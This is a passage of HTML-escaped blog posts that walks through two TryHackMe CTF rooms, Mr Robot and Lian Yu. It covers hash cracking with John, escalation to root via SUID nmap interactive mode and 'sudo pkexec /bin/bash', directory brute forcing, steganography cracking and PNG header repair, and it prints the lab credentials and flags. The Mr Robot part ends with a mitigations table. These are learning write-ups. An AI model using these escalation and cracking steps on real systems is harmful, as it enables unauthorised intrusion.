&lt;p&gt;A raw MD5 hash for &lt;code&gt;robot&lt;/code&gt;. John's auto-detection misidentified the format as LM and cracked nothing. Specifying the format explicitly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;john &lt;span class="nt"&gt;--format&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Raw-MD5 &lt;span class="nt"&gt;--wordlist&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/wordlists/rockyou.txt hash.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;abcdefghijklmnopqrstuvwxyz   (robot)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Password: the entire lowercase alphabet in order.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;su robot
&lt;span class="c"&gt;# Password: abcdefghijklmnopqrstuvwxyz&lt;/span&gt;
robot@ip-10-48-166-199:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;key-2-of-3.txt
822c73956184f694993bede3eb39f959
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Escalation
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;find / &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;s &lt;span class="nt"&gt;-type&lt;/span&gt; f 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The standout entry:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/usr/local/bin/nmap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;nmap v3.81 (an extremely old version from ~2005) included an &lt;code&gt;--interactive&lt;/code&gt; mode that dropped users into an nmap shell. From that shell, &lt;code&gt;!command&lt;/code&gt; executed arbitrary OS commands — and since nmap ran as root via SUID, those commands ran as root too. This feature was removed from nmap long before most modern systems shipped, but this box preserves it deliberately as the intended escalation path.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/usr/local/bin/nmap &lt;span class="nt"&gt;--interactive&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;Starting nmap V. 3.81
&lt;/span&gt;&lt;span class="gp"&gt;Welcome to Interactive Mode -- press h &amp;lt;enter&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="nb"&gt;help&lt;/span&gt;
&lt;span class="gp"&gt;nmap&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;root@ip-10-48-166-199:~# &lt;span class="nb"&gt;cat&lt;/span&gt; /root/key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Exploitation — The Full Chain
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;robots.txt&lt;/code&gt;&lt;/strong&gt; → key 1 + &lt;code&gt;fsocity.dic&lt;/code&gt; wordlist&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Wordlist deduplication&lt;/strong&gt; → 858K → 11K words&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hydra pass 1&lt;/strong&gt; (username enum) → &lt;code&gt;elliot&lt;/code&gt;; &lt;strong&gt;pass 2&lt;/strong&gt; (password) → &lt;code&gt;ER28-0652&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;WordPress theme editor&lt;/strong&gt; → &lt;code&gt;archive.php&lt;/code&gt; → bash reverse shell as &lt;code&gt;daemon&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;password.raw-md5&lt;/code&gt;&lt;/strong&gt; → John (Raw-MD5) → &lt;code&gt;abcdefghijklmnopqrstuvwxyz&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;su robot&lt;/code&gt;&lt;/strong&gt; → key 2&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SUID nmap &lt;code&gt;--interactive&lt;/code&gt;&lt;/strong&gt; → &lt;code&gt;!sh&lt;/code&gt; → root → key 3&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Rabbit Holes
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Metasploit's &lt;code&gt;wp_crop_rce&lt;/code&gt; failure.&lt;/strong&gt; WPScan flagged CVE-2019-8942 — the same exploit that worked on the Blog box — and Metasploit's &lt;code&gt;wp_crop_rce&lt;/code&gt; module was tried first. It failed to produce a session repeatedly without a clear error, possibly a WordPress configuration difference or the Bitnami installation layout affecting the image upload path. The theme editor manual approach worked cleanly where Metasploit didn't.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Manual theme editor shell, first attempt.&lt;/strong&gt; Before landing on &lt;code&gt;archive.php&lt;/code&gt;, the standard &lt;code&gt;functions.php&lt;/code&gt; and &lt;code&gt;header.php&lt;/code&gt; theme files were tried first. Multiple attempts failed — likely because the theme was actively serving requests and PHP syntax errors in core template files caused 500 responses before the shell could fire. Switching to &lt;code&gt;archive.php&lt;/code&gt; and a clean one-liner resolved it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;John's auto-detection as LM format.&lt;/strong&gt; Running &lt;code&gt;john&lt;/code&gt; on the raw MD5 hash without specifying a format caused it to detect the hash as LM (Windows LAN Manager) and run the wrong algorithm, producing zero results. The filename &lt;code&gt;password.raw-md5&lt;/code&gt; was a direct hint about the format that went unread for longer than it should have.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;!/bin/sh&lt;/code&gt; vs &lt;code&gt;!sh&lt;/code&gt; in nmap interactive.&lt;/strong&gt; The first attempt typed &lt;code&gt;!/bin/sh&lt;/code&gt; and received "not found." The correct syntax drops the leading &lt;code&gt;/&lt;/code&gt; — &lt;code&gt;!sh&lt;/code&gt; works because &lt;code&gt;sh&lt;/code&gt; is in the system PATH, while &lt;code&gt;!/bin/sh&lt;/code&gt; is treated as the entire command literal including the exclamation mark prefix.&lt;/p&gt;

&lt;h2&gt;
  
  
  Flags
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Flag&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Key 1&lt;/td&gt;
&lt;td&gt;&lt;code&gt;073403c8a58a1f80d943455fb30724b9&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/key-1-of-3.txt&lt;/code&gt; (via &lt;code&gt;robots.txt&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Key 2&lt;/td&gt;
&lt;td&gt;&lt;code&gt;822c73956184f694993bede3eb39f959&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/home/robot/key-2-of-3.txt&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Key 3&lt;/td&gt;
&lt;td&gt;&lt;code&gt;04787ddef27c3dee1ee161b21670b4e4&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/root/key-3-of-3.txt&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Severity&lt;/th&gt;
&lt;th&gt;Mitigation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;robots.txt&lt;/code&gt; listing sensitive files&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;robots.txt&lt;/code&gt; is public — never list sensitive paths; use proper access controls instead of obscurity&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Custom wordlist served publicly&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;Never expose wordlists, dictionaries, or any non-public asset from the webroot&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WordPress login username enumeration&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;Disable login error message differentiation (use a plugin or a filter on &lt;code&gt;login_errors&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Weak WordPress password brute-forceable from a reduced wordlist&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;Use a randomly generated password; enable login attempt limiting&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WordPress Theme Editor enabled for authenticated users&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;Disable the theme/plugin editor in &lt;code&gt;wp-config.php&lt;/code&gt;: &lt;code&gt;define('DISALLOW_FILE_EDIT', true)&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Raw MD5 password hash for a system user&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;Use properly salted hashes (bcrypt, sha512crypt) for system user passwords&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SUID bit on ancient nmap v3.81 with interactive mode&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;Remove SUID from any binary not explicitly requiring it; replace with a modern nmap — interactive mode was removed specifically because of this escalation path&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Key Takeaway
&lt;/h2&gt;

&lt;p&gt;Always deduplicate custom wordlists before feeding them to Hydra — 858,160 entries shrunk to 11,451 is a 75× speed improvement for zero information loss. The extra 30 seconds of &lt;code&gt;sort | uniq&lt;/code&gt; preprocessing is the difference between a 5-minute brute force and an all-night one.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Room:&lt;/strong&gt; TryHackMe — Mr Robot CTF&lt;/p&gt;

</description>
      <category>security</category>
      <category>ctf</category>
      <category>tryhackme</category>
      <category>writeup</category>
    </item>
    <item>
      <title>Someone Corrupted a PNG on Purpose — I Had to Fix It to Get the Password — Lian Yu (TryHackMe)</title>
      <dc:creator>Farhan Hussain</dc:creator>
      <pubDate>Sun, 01 Nov 2026 15:32:02 +0000</pubDate>
      <link>https://dev.to/cyberfarhan/someone-corrupted-a-png-on-purpose-i-had-to-fix-it-to-get-the-password-lian-yu-tryhackme-4igc</link>
      <guid>https://dev.to/cyberfarhan/someone-corrupted-a-png-on-purpose-i-had-to-fix-it-to-get-the-password-lian-yu-tryhackme-4igc</guid>
      <description>&lt;p&gt;&lt;strong&gt;Platform:&lt;/strong&gt; TryHackMe · &lt;strong&gt;Difficulty:&lt;/strong&gt; Medium · &lt;strong&gt;Category:&lt;/strong&gt; Steganography / Base58 Encoding / PNG Magic Byte Repair&lt;/p&gt;

&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;No brute force of a login form, no SQLi, no upload bypass. &lt;strong&gt;Lian Yu&lt;/strong&gt; — the Arrow-themed island where Oliver Queen honed his skills — hides its credentials in increasingly elaborate places instead: white text on a white background, a custom file extension nobody would guess without a clue, a Base58-encoded password, a steganography brute force, and a PNG file with its magic bytes deliberately smashed. It rewards patient, methodical enumeration over speed, and it's the most puzzle-box-style machine I've hit in this series so far.&lt;/p&gt;

&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;

&lt;p&gt;Full-range sweep with RustScan, Nmap for service and version fingerprinting:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rustscan &lt;span class="nt"&gt;-a&lt;/span&gt; 10.48.156.154 &lt;span class="nt"&gt;-r&lt;/span&gt; 1-65535 &lt;span class="nt"&gt;--ulimit&lt;/span&gt; 5000 &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Version&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;21/tcp&lt;/td&gt;
&lt;td&gt;FTP&lt;/td&gt;
&lt;td&gt;vsftpd 3.0.2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;22/tcp&lt;/td&gt;
&lt;td&gt;SSH&lt;/td&gt;
&lt;td&gt;OpenSSH 6.7p1 Debian 5+deb8u8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;80/tcp&lt;/td&gt;
&lt;td&gt;HTTP&lt;/td&gt;
&lt;td&gt;Apache (title: Purgatory)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;111/tcp&lt;/td&gt;
&lt;td&gt;RPC&lt;/td&gt;
&lt;td&gt;rpcbind 2-4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;37187/tcp&lt;/td&gt;
&lt;td&gt;RPC status&lt;/td&gt;
&lt;td&gt;RPC #100024&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Five ports — more interesting than the usual two. Anonymous FTP login was tried immediately and blocked:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ftp 10.48.156.154
&lt;span class="c"&gt;# anonymous → 530 Permission denied.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;FTP requires credentials. The web server's title is "Purgatory" — thematic, and a clue to keep in mind. RPC ports 111 and 37187 turned out to be irrelevant to the attack path.&lt;/p&gt;

&lt;p&gt;Initial Feroxbuster scan with standard extensions:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;feroxbuster &lt;span class="nt"&gt;-u&lt;/span&gt; http://10.48.156.154 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-x&lt;/span&gt; php,txt,html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# output (relevant hits only)
301  http://10.48.156.154/island        # ^^^ key directory
200  http://10.48.156.154/island/index.html
301  http://10.48.156.154/island/2100   # ^^^ deeper
200  http://10.48.156.154/island/2100/index.html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Navigating to &lt;code&gt;/island/&lt;/code&gt; shows what looks like a single paragraph of in-character text. &lt;code&gt;Ctrl+A&lt;/code&gt; to select all — or a glance at the page source — reveals a word rendered in white text against a white background:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;The Code Word is:
vigilante
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Invisible to a casual visitor. Visible to anyone who reads the source. &lt;code&gt;vigilante&lt;/code&gt; becomes the FTP username, though that isn't obvious yet.&lt;/p&gt;

&lt;p&gt;The page at &lt;code&gt;/island/2100/&lt;/code&gt; contains an embedded (unavailable) YouTube video and a single HTML comment:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- you can avail your .ticket here but how? --&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;.ticket&lt;/code&gt; extension is non-standard — nothing would enumerate it by default. This is the box explicitly telling me what to add to Feroxbuster's extension list.&lt;/p&gt;

&lt;p&gt;Re-running Feroxbuster on &lt;code&gt;/island/2100/&lt;/code&gt; with &lt;code&gt;.ticket&lt;/code&gt; added:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;feroxbuster &lt;span class="nt"&gt;-u&lt;/span&gt; http://10.48.156.154/island/2100 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-x&lt;/span&gt; php,txt,html,.ticket
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# output
200  http://10.48.156.154/island/2100/green_arrow.ticket   # ^^^ found it
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Contents of &lt;code&gt;green_arrow.ticket&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;RTy8yhBQdscX
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Not plaintext, not hex, not Base64 (wrong character set). Base58 — the encoding used by Bitcoin addresses, distinguishable because it omits &lt;code&gt;0&lt;/code&gt;, &lt;code&gt;O&lt;/code&gt;, &lt;code&gt;I&lt;/code&gt;, and &lt;code&gt;l&lt;/code&gt; to prevent visual confusion. Decoded:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;!#th3h00d
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;FTP password confirmed.&lt;/p&gt;

&lt;h2&gt;
  
  
  Foothold
&lt;/h2&gt;

&lt;p&gt;Combining the username found in white text (&lt;code&gt;vigilante&lt;/code&gt;) with the decoded ticket password (&lt;code&gt;!#th3h00d&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ftp 10.48.156.154
&lt;span class="c"&gt;# Name: vigilante&lt;/span&gt;
&lt;span class="c"&gt;# Password: !#th3h00d&lt;/span&gt;
&lt;span class="c"&gt;# 230 Login successful.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three files in the FTP root:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-rw-r--r--  Leave_me_alone.png   (511 KB)
-rw-r--r--  Queen's_Gambit.png   (537 KB)
-rw-r--r--  aa.jpg               (186 KB)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All three downloaded. &lt;code&gt;aa.jpg&lt;/code&gt; shows a soldier, &lt;code&gt;Queen's_Gambit.png&lt;/code&gt; shows a ship. &lt;code&gt;Leave_me_alone.png&lt;/code&gt; refuses to open — the file is corrupted.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;steghide&lt;/code&gt; embeds data in JPEG/BMP/WAV files behind a passphrase; &lt;code&gt;stegseek&lt;/code&gt; brute forces it. Running stegseek against &lt;code&gt;aa.jpg&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;stegseek &lt;span class="nt"&gt;--crack&lt;/span&gt; aa.jpg /usr/share/wordlists/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# output
[i] Found passphrase: "password"
[i] Original filename: "ss.zip"
[i] Extracting to "aa.jpg.out"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Passphrase: &lt;code&gt;password&lt;/code&gt;. The hidden payload is a zip archive named &lt;code&gt;ss.zip&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;unzip ss.zip
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two files emerge: &lt;code&gt;passwd.txt&lt;/code&gt; (flavour text, no actionable credentials) and &lt;code&gt;shado&lt;/code&gt;, which contains a single string: &lt;code&gt;M3tahuman&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Leave_me_alone.png&lt;/code&gt; wouldn't open, and &lt;code&gt;exiftool&lt;/code&gt; confirmed why:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;exiftool Leave_me_alone.png
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Error: File format error
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Inspecting the raw hex of the file header:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Corrupt:  58 45 6F AE 0A 0D 1A 0A ...
Correct:  89 50 4E 47 0D 0A 1A 0A ...  (.PNG)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;PNG files must begin with the signature &lt;code&gt;89 50 4E 47 0D 0A 1A 0A&lt;/code&gt;. This file's first four bytes had been deliberately overwritten, breaking the signature and preventing any image viewer from opening it. Fixing the header in a hex editor:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Before: 58 45 6F AE 0A 0D 1A 0A
After:  89 50 4E 47 0D 0A 1A 0A
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The repaired file opened as a valid PNG image, displaying the message:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Just leave me alone here is what you want
Password
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The image confirms &lt;code&gt;M3tahuman&lt;/code&gt; (extracted from &lt;code&gt;shado&lt;/code&gt;) is the SSH password.&lt;/p&gt;

&lt;h2&gt;
  
  
  Shell / Access
&lt;/h2&gt;

&lt;p&gt;Two SSH usernames were known from context — &lt;code&gt;vigilante&lt;/code&gt; (from the web page) and &lt;code&gt;slade&lt;/code&gt; (from the Arrow lore and FTP filenames). &lt;code&gt;vigilante&lt;/code&gt; failed; &lt;code&gt;slade&lt;/code&gt; with password &lt;code&gt;M3tahuman&lt;/code&gt; connected cleanly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh slade@10.48.156.154
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;slade@LianYu:~$&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;user.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;THM{P30P7E_K33P_53CRET5__C0MPUT3R5_D0N'T}
                        --Felicity Smoak
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Escalation
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User slade may run the following commands on LianYu:
    (root) PASSWD: /usr/bin/pkexec
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;PolicyKit's &lt;code&gt;pkexec&lt;/code&gt; is designed to let an authorised user run a command as another user, similar to &lt;code&gt;sudo&lt;/code&gt;. Granted via &lt;code&gt;sudoers&lt;/code&gt; without restriction on which program &lt;code&gt;pkexec&lt;/code&gt; can itself execute, it becomes a direct path to a root shell. Note this entry uses &lt;code&gt;PASSWD&lt;/code&gt; rather than &lt;code&gt;NOPASSWD&lt;/code&gt; — slade's own SSH password (&lt;code&gt;M3tahuman&lt;/code&gt;) is required to authenticate the &lt;code&gt;sudo&lt;/code&gt; call.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;pkexec /bin/bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# prompt for slade's password: M3tahuman
root@LianYu:~#
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /root/root.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Mission accomplished

You are injected me with Mirakuru:) ---&amp;gt; Now slade Will become DEATHSTROKE.

THM{MY_W0RD_I5_MY_B0ND_IF_I_ACC3PT_YOUR_CONTRACT_THEN_IT_WILL_BE_COMPL3TED_OR_I'LL_BE_D34D}
                                                                      --DEATHSTROKE
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Exploitation — The Full Chain
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;White-text hidden word&lt;/strong&gt; at &lt;code&gt;/island/&lt;/code&gt; → FTP username &lt;code&gt;vigilante&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;HTML comment&lt;/strong&gt; at &lt;code&gt;/island/2100/&lt;/code&gt; → &lt;code&gt;.ticket&lt;/code&gt; extension clue&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Feroxbuster&lt;/strong&gt; with &lt;code&gt;.ticket&lt;/code&gt; → &lt;code&gt;green_arrow.ticket&lt;/code&gt; → Base58 decoded to FTP password &lt;code&gt;!#th3h00d&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;FTP login as &lt;code&gt;vigilante&lt;/code&gt;&lt;/strong&gt; → three image files downloaded&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Stegseek on &lt;code&gt;aa.jpg&lt;/code&gt;&lt;/strong&gt; (passphrase: &lt;code&gt;password&lt;/code&gt;) → &lt;code&gt;ss.zip&lt;/code&gt; → &lt;code&gt;shado&lt;/code&gt; file → password &lt;code&gt;M3tahuman&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
